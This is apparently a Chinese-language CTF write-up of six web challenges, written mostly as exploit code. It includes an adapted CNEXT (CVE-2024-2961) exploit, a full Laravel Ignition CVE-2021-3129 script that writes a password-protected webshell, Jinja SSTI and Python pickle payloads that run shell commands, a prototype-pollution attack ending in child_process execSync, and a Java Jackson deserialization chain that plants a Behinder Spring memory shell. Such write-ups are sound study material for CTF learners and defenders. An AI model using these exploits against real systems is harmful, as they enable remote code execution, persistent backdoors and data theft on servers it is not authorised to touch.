体验很差 但是队友很给力呀
记录几个 web 题做法
web 1 fileread fileread
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php class cls1 { var $cls ; var $arr ; function show ( ) { show_source (__FILE__ ); } function __wakeup ( ) { foreach ($this ->arr as $k => $v ) echo $this ->cls->$v ; } } class cls2 { var $filename = 'hello.php' ; var $txt = '' ; function __get ($key ) { var_dump ($key ); if ($key == 'fileput' ) return $this ->fileput (); else return '<p>' .htmlspecialchars ($key ).'</p>' ; } function fileput ( ) { echo 'Your file:' .file_get_contents ($this ->filename); } } $cls2 = new cls2 ();$cls2 ->filename = "index.php" ; $cls1 = new cls1 ();$cls1 ->cls = $cls2 ;$cls1 ->arr = ['fileput' ];$serialized = serialize ($cls1 );$base64_encoded = base64_encode ($serialized );echo $base64_encoded ;?>
能读index 读flag权限不够..
1 2 3 4 /flag string (7 ) "fileput" Warning: file_get_contents (../../../../../../flag): Failed to open stream: Permission denied in /var /www/html/index.php on line 24 Your file:
input试试, 不行
低权限没法用 docker env文件都被限制
1 CVE-2024-2961 https://github.com/ambionics/cnext-exploits/ https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py CVE-2024-2961 CNEXT (CVE-2024-2961) 漏洞利用,glibc 的 iconv() 中的缓冲区溢出 https://xz.aliyun.com/t/15549?time__1311=Gqjxn7itGQeWqGNDQiiQGkDuWLOu32ougRbD
将 exp 中发送接收数据的部分与本题相适应后即可 RCE,执行 /readflag > file 后,读文件获取 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from __future__ import annotationsimport base64import zlibfrom dataclasses import dataclassfrom requests.exceptions import ConnectionError, ChunkedEncodingErrorfrom phpserialize import * from pwn import *from ten import *HEAP_SIZE = 2 * 1024 * 1024 BUG = "劄" .encode("utf-8" ) class cls1 (PHP_Class ): def __init__ (self, cls, arr ): self .cls = cls self .arr = arr class cls2 (PHP_Class ): def __init__ (self, filename, txt ): self .filename = filename self .txt = txt class Remote : """A helper class to send the payload and download files. The logic of the exploit is always the same, but the exploit needs to know how to download files (/proc/self/maps and libc) and how to send the payload. The code here serves as an example that attacks a page that looks like: ```php <?php $data = file_get_contents($_POST['file']); echo "File contents: $data";
Tweak it to fit your target, and start the exploit.
"""
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response."""
ser = base64.encode(serialize(cls1(cls2(path, ""), ["fileput"])))
return self.session.get(self.url, params={"ser": ser})
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file."""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"Your file:(.*)", flags=re.S).group(1)
return base64.decode(data)
patch end … 1 2 3 4 5 6 7 8 9 ## web 2 python口算 用脚本玩游戏 (脚本见后门发username的 这里只用发GET请求) 下载到一个hint ```python /static/f4dd790b-bc4e-48de-b717-903d433c597f
进而
1 2 3 @app.route('/' ) username = 'ctfer!' if request.args.get('username' ):
还是输出的 hint .. username={requests.utils.quote(username)} 没效果?
1 2 3 4 5 6 7 8 9 [ <class 'collections.abc.Callable' > <class 'os._wrap_close' >133 username = '{{[].__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[\\' popen\\'](\\' cat${IFS}/flag\\').read()}}' 空格被过滤了 这${ IFS}绕过以下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import requestsimport recalc_url = '<http://192.168.18.28/calc>' submit_url = '<http://192.168.18.28/>' def fetch_calculation (username ): response = requests.get(f"{calc_url} ?username={requests.utils.quote(username)} " ) if response.status_code == 200 : expression = response.text.strip() print ('Received from /calc:' , expression) return expression def calculate_expression (expression ): if re.match (r'^[0-9+\\-*/(). ]+$' , expression): try : answer = eval (expression) print ('Calculated answer:' , answer) return answer except Exception as e: print ('Error evaluating expression:' , e) return None def submit_answer (answer, username ): if answer is not None : encoded_answer = requests.utils.quote(str (answer)) submit_url_with_answer = f"{submit_url} ?answer={encoded_answer} &Submit=%E6%8F%90%E4%BA%A4&username={requests.utils.quote(username)} " response = requests.get(submit_url_with_answer) print ('Submitted:' , response.text) if __name__ == '__main__' : username = 'root' while True : expression = fetch_calculation(username) if expression: answer = calculate_expression(expression) submit_answer(answer, username) else : break
web 3 Laravel https://github.com/joshuavanderpoll/CVE-2021-3129 Laravel 是一个 Web应用框架, 有着表现力强、语法优雅的特点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 import requestsimport jsonimport sysimport reproxies = { "http" : '127.0.0.1:8080' } headers = { "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0" , "Content-Type" : "application/json" } def clear_log (url ): data = { "solution" : "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution" , "parameters" : { "variableName" : "username" , "viewFile" : "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log" } } response = requests.post(url, headers=headers, data=json.dumps(data, indent=1 )) return response def check_AA (url ): data = { "solution" : "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution" , "parameters" : { "variableName" : "username" , "viewFile" : "AA" } } response = requests.post(url, headers=headers, data=json.dumps(data, indent=1 )) return response def send_payload_windows (url ): data = { "solution" : "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution" , "parameters" : { "variableName" : "username" , "viewFile" : "" } } response = requests.post(url, headers=headers, data=json.dumps(data, indent=1 )) return response def filter_log (url ): data = { "solution" : "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution" , "parameters" : { "variableName" : "username" , "viewFile" : "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log" } } response = requests.post(url, headers=headers, data=json.dumps(data, indent=1 )) return response def phar (url, path ): data = { "solution" : "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution" , "parameters" : { "variableName" : "username" , "viewFile" : r"phar://" + path + r"\\storage\\\\logs\\\\laravel.log\\\\test.txt" } } response = requests.post(url, headers=headers, data=json.dumps(data, indent=1 )) return response def phar_linux (url, path ): data = { "solution" : "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution" , "parameters" : { "variableName" : "username" , "viewFile" : "phar://" + path + "/storage/logs/laravel.log/test.txt" } } response = requests.post(url, headers=headers, data=json.dumps(data, indent=1 )) return response def get_path (url ): req = requests.get(url).text pattern = re.compile (r'(#\\d* (.*)[/\\\\]vendor)' ) matches = pattern.findall(req) return matches[0 ][1 ] if matches else None if __name__ == '__main__' : url = sys.argv[1 ] + "/_ignition/execute-solution" for _ in range (5 ): clear_log(url) if check_AA(url).status_code == 500 : if ":" in get_path(url): print ("Windows detected" ) if send_payload_windows(url).status_code == 500 : if filter_log(url).status_code == 200 : if phar(url, get_path(url)).status_code == 500 : if requests.get(sys.argv[1 ] + "/fuckyou.php" ).status_code == 200 : print (f"[+] Webshell address: {sys.argv[1 ]} /fuckyou.php, Password: pass" ) else : print ("[-] Vulnerability does not exist" ) elif ":" not in get_path(url): print ("Linux detected" ) if send_payload_windows(url).status_code == 500 : if filter_log(url).status_code == 200 : if phar_linux(url, get_path(url)).status_code == 500 : if requests.get(sys.argv[1 ] + "/fuckyou.php" ).status_code == 200 : print (f"Webshell address: {sys.argv[1 ]} /fuckyou.php, Password: pass" ) else : print ("[-] Vulnerability does not exist" )
运行之后会写入木马
这里哥斯拉V2.9 可以连 , 但是 V4.0 版本连接不上 , 很怪
web 4 notadmin 给了 app.js 源码 JavaScript 原型链污染
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 const express = require ('express' );const bodyParser = require ('body-parser' );const jwt = require ('jsonwebtoken' );let { User } = require ('./user' );const crypto = require ('crypto' );const path = require ('path' )const app = express ();const port = 3000 ;app.set ('view engine' , 'ejs' ); app.set ('views' , path.join (__dirname, 'views' )); app.use (express.static ('public' )); app.use (bodyParser.urlencoded ({ extended : true })); app.use (express.json ()); const tmp_user = {}function authenticateToken (req, res, next ) { const authHeader = req.headers ['authorization' ]; const token = authHeader; if (tmp_user.secretKey == undefined ) { tmp_user.secretKey = crypto.randomBytes (16 ).toString ('hex' ); } if (!token) { return res.redirect ('/login' ); } try { const decoded = jwt.verify (token, tmp_user.secretKey ); req.user = decoded; next (); } catch (ex) { return res.status (400 ).send ('Invalid token.' ); } } const merge = (a, b ) => { for (var c in b) { console .log (JSON .stringify (b[c])); if (check (b[c])) { if (a.hasOwnProperty (c) && b.hasOwnProperty (c) && typeof a[c] === 'object' && typeof b[c] === 'object' ) { merge (a[c], b[c]); } else { a[c] = b[c]; } } else { return 0 } } return a } console .log (tmp_user.secretKey )var check = function (str ) { let input = /const|var|let|return|subprocess|Array|constructor|load|push|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base|"|'|\\|\[|\+|\*/ig ; if (typeof str === 'object' && str !== null ) { for (let key in str) { if (!check (key)) { return false ; } if (!check (str[key])) { return false ; } } return true ; } else { return !input.test (str); } }; app.get ('/login' , (req, res ) => { res.render ('login' ) }); app.post ('/login' , (req, res ) => { if (merge (tmp_user, req.body )) { if (tmp_user.secretKey == undefined ) { tmp_user.secretKey = crypto.randomBytes (16 ).toString ('hex' ); } if (User .verifyLogin (tmp_user.password )) { const token = jwt.sign ({ username : tmp_user.username }, tmp_user.secretKey ); res.send (`Login successful! Token: ${token} \nBut nothing happend~` ); } else { res.send ('Login failed!' ); } } else { res.send ("Hacker denied!" ) } }); app.get ('/' , (req, res ) => { authenticateToken (req, res, () => { backcode = eval (tmp_user.code ) res.send ("something happend~" ) }); }); app.listen (port, () => { console .log (`Server running at http://localhost:${port} ` ); });
喜闻乐见的代码审计
用户登录 :用户通过 /login
接口提交用户名及密码,验证后生成 JWT(JSON Web Token)
动态代码执行 :在访问根路径 /
时,应用会通过 eval
执行存储在 tmp_user.code
中的 JavaScript 代码
漏洞:
tmp_user.secretKey
使用 crypto.randomBytes(16).toString('hex')
生成随机密钥。若每次请求都生成新密钥,这将导致已签发的 JWT 无法校验,用户无法通过验证
在用户登录时,若 tmp_user.secretKey
未定义,则会随机生成一个。然而,若攻击者可以多次登录,可能会反复获取不同的 JWT,从而绕过其他安全机制。
动态代码执行 eval:
使用 eval
执行用户输入的代码是一个严重的安全隐患。这使得攻击者能够执行任意 JavaScript 代码,导致远程代码执行(RCE)漏洞
tmp_user.code
的内容没有经过任何验证或过滤,攻击者可以传入恶意代码,直接危害服务器及其数据
合并用户输入 merge 函数:
merge
函数尝试将用户输入与 tmp_user
合并,但其实现没有完全确保输入的安全性
尽管 check
函数试图阻止某些特定字段的使用,但正则表达式的检查逻辑可能不够严格,攻击者仍然可以尝试利用其他字段进行攻击
思路 需要一个身份从而绕过 authenticateToken
的检查
可以直接污染key,让python签一个jwt,带着token去访问根路由,就可以执行命令了 ( QWNT 的回忆出现了 )
1 backcode = eval (tmp_user.code )
进入之后利用 eval
调用 tmp_user.code
进而污染
对于过滤 只需要嵌套 eval 函数进行 base64 的加密解密就行
exp code
1 Reflect .get (global ,Reflect .ownKeys (global ).find (x => x.includes (`eva` )))(atob (`{payload_b64}` ))
在源码中
1 app.use (express.static ('public' ));
可以推测 静态根目录是在 public
下面
那么 payload
1 global .process .mainModule .constructor ._load ("child_process" ).execSync ("cat /flag > ./public/flag.txt" )
参考 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import base64 import jwt import requests url = "http://192.168.18.21" key = '123456' #签一个token data = {"username" :"admin" } token = jwt.encode (data,key,algorithm='HS256' ) #print (token) payload = 'global.process.mainModule.constructor._load("child_process").execSync("cat /flag > ./public/flag.txt")' payload_b64 = base64.b64encode (payload.encode ()).decode ('utf-8' ) #print (payload_b64) #污染 json = { "secretKey" :key, "code" :f"Reflect.get(global,Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(atob(`{payload_b64}`))" #两层eval ,外面的eval 执行,里面的eval 解密 } requests.post (url+"/login" ,json=json) #执行 requests.get (url,headers={"Authorization" :token}) #读取flag res = requests.get (url+"/flag.txt" ) print (res.text )
web 5 ez_python 账密 test/123456
得到一个 jwt
爆破 key
为 a123456 签
admin的
token 就可以进去
protected ` 了
1 2 3 4 5 6 import pickle import base64 def hhhhackme (pickled ): data = base64.urlsafe_b64decode(pickled) deserialized = pickle.loads(data) return ''
pickle 反序列化 利用报错回显可以拿到flag
1 2 3 4 5 6 7 8 9 import pickle import base64 class A (object ): def __reduce__ (self ): return (exec , ("raise Exception(__import__('os').popen('cat /f*').read())" ,)) a = A() print (base64.b64encode(pickle.dumps(a)))
web 6 LookUP 暂时不会 记录 周四搞完
二次反序列化
Jackson反序列化
黑名单ban了templatesimpl,又有jackson依赖,可以打二次反序列化
bad –> jackson –> signed –> bad –> jackson –> templatesimpl
不出网,打spring内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package com.test; import com.Utils.Util; import com.fasterxml.jackson.databind.node.POJONode; import javassist.*; import javax.management.BadAttributeValueExpException; import java.io.IOException; import static com.Utils.Util.setValue; public class test { public static void main (String[] args) throws Exception{ overrideJackson(); Object templates1 = Util.getTemplates(Util.file2ByteArray("C:\\Users\\13664\\Documents\\JavaUtils\\target\\classes\\com\\Memshell\\spring\\BehinderControllerShell.class" )); POJONode jsonNodes1 = new POJONode (templates1); Object pojoNodeStableProxy = Util.getPOJONodeStableProxy(jsonNodes1); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (1 ); setValue(badAttributeValueExpException,"val" ,pojoNodeStableProxy); Object templates2 = Util.second_serialize(badAttributeValueExpException); POJONode jsonNodes2 = new POJONode (templates2); BadAttributeValueExpException badAttributeValueExpException1 = new BadAttributeValueExpException (2 ); setValue(badAttributeValueExpException1,"val" ,jsonNodes2); String serialize = Util.serialize(badAttributeValueExpException1); System.out.println(serialize); } public static void overrideJackson () throws NotFoundException, CannotCompileException, IOException { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace" ); ctClass.removeMethod(writeReplace); ctClass.writeFile(); ctClass.toClass(); } }